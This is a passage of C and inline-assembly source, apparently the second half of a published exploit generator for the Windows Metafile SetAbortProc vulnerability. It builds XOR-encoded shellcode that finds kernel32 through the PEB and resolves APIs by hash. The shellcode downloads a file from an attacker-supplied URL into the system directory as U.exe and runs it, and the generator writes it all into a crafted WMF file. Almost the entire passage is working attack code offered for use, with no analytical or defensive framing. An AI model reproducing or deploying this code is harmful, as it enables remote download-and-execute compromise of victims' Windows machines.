Microsoft Windows Metafile (WMF) SetAbortProc Remote File Download Exploit(1下)(接上1)
// Shellcode string
unsigned char sc[1024] = {0};
unsigned int Sc_len;
// ASM shellcode main function
void ShellCode();
// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
DWORD h = 0;
while ( *c )
{
__asm ror h, HASH_KEY
h += *c++;
}
return( h );
}
void Make_ShellCode(char *url1)
{
unsigned char *pSc_addr;
unsigned int Enc_key=ENC_KEY;
unsigned long dwHash[100];
unsigned int dwHashSize;
int i,j,k,l;
// Get functions hash
//printf("[+] Get functions hash strings.\r\n");
for (i=0;;i++)
{
if (functions[i][0] == '\x0') break;
dwHash[i] = GetHash((char*)functions[i]);
//printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_SC_LEN;++k )
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
{
break;
}
}
pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
for (k=0;k<MAX_SC_LEN;++k)
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
break;
}
}
Sc_len=k; // Length of the ShellCode
memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]
// Add functions hash
memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
Sc_len += dwHashSize;
// Add url
memcpy(sc+Sc_len, url1, strlen(url1)+1);
Sc_len += strlen(url1)+1;
// Deal with find the right XOR byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=DECODE_LEN; j<Sc_len; j++)
{
if (
((sc[j] ^ i) == 0x26) || //%
((sc[j] ^ i) == 0x3d) || //=
((sc[j] ^ i) == 0x3f) || //?
((sc[j] ^ i) == 0x40) || //@
((sc[j] ^ i) == 0x00) ||
((sc[j] ^ i) == 0x0D) ||
((sc[j] ^ i) == 0x0A)
) // Define Bad Characters
{
l++; // If found the right XOR byte,l equals 0
break;
};
}
if (l==0)
{
Enc_key = i;
printf("[+] Find XOR Byte: 0x%02X\n", i);
for(j=DECODE_LEN; j<Sc_len; j++)
{
sc[j] ^= Enc_key;
}
break; // If found the right XOR byte, Break
}
}
// Deal with not found XOR byte
if (l!=0)
{
printf("[-] No xor byte found!\r\n");
exit(-1);
}
// Deal with DeCode string
*(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
*(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
printf("[+] download url:%s\n", url1);
}
int help()
{
printf("Usage : wmf_expl.exe url [-t] \n");
printf(" the 't' option will let you test for the shellcode first\n");
exit(0);
}
void main(int argc, char **argv)
{
WSADATA wsa;
unsigned char url[255]={0};
BOOL b_test;
FILE *shellcode2;
FILE *file;
char data[333], x0r[70];
int size;
int ssz; //= 16036-size;
b_test=FALSE;
if(argc<2)
help();
strncpy(url, argv[1], 255);
shellcode2 = fopen("shellcode.bin", "w+b"); // save to bin file...
if(argc == 3)
if(!strcmp(argv[2], "-t"))
b_test = TRUE;
WSAStartup(MAKEWORD(2,2),&wsa);
Make_ShellCode(url);
size = sizeof(head1)+sizeof(head2)+strlen(sc);
ssz = 16036 - size;
file = fopen("xXx.UKT", "w+b");
memset(x0r, 0x00, 70);
memset(x0r, 0x90, ssz);
fwrite(head1, sizeof(unsigned char), sizeof(head1), file);
fwrite(sc, sizeof(char), strlen(sc), file);
fprintf(file, "%s", x0r);
fwrite(head2, sizeof(unsigned char), sizeof(head2), file);
fclose(file);
//printf("%d - %d\n", size, ssz);
fwrite(sc, 1, sizeof(sc)-1, shellcode2);
fclose(shellcode2);
// printf("%d - size of shellcode\n", strlen(sc));
if(b_test)
{
printf("Testing the shellcode...\n");
// printf("%s\n", sc); // shellcode in text mode =)
((void (*)(void)) &sc)(); // wanna test? =) put -t 8-)
}
return 0;
}
// ShellCode function
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
jmp short decode_end
decode_start:
pop ebx // Decode start addr (esp -> ebx)
dec ebx
xor ecx,ecx
mov cl,0xFF // Decode len
decode_loop:
xor byte ptr [ebx+ecx],ENC_KEY // Decode key
loop decode_loop
jmp short decode_ok
decode_end:
call decode_start
decode_ok:
//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
// Get kernel32.dll base addr
mov eax, fs:0x30 // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
lodsd // eax = InInitOrder.blink
mov ebp, [eax+8] // ebp = kernel32.dll base address
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32
push 4
pop ecx
getkernel32:
call GetProcAddress_fun
loop getkernel32
// Get function addr of urlmon
push 0x00006e6f
push 0x6d6c7275 // urlmon
push esp
call ADDR_LoadLibraryA // LoadLibraryA("urlmon");
mov ebp, eax // ebp = urlmon.dll base address
/*
push 1
pop ecx
geturlmon:
call GetProcAddress_fun
loop geturlmon
*/
call GetProcAddress_fun
// url start addr = edi
LGetSystemDirectoryA:
sub esp, 0x20
mov ebx, esp
push 0x20
push ebx
call ADDR_GetSystemDirectoryA // GetSystemDirectoryA
LURLDownloadToFileA:
// eax = system path size
// URLDownloadToFileA url save to a.exe
mov dword ptr [ebx+eax], 0x652E555C // "\U.e"
mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"
xor eax, eax
push eax
push eax
push ebx // %systemdir%\U.exe
push edi // url
push eax
call ADDR_URLDownloadToFileA // URLDownloadToFileA
//LWinExec:
mov ebx, esp
push 1//executes in SW_SHOW, push 0 if you wanna in SW_HIDE..
push ebx
call ADDR_WinExec // WinExec(%systemdir%\a.exe);
Finished:
//push 1
call ADDR_ExitProcess // ExitProcess();
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, HASH_KEY // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to [edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}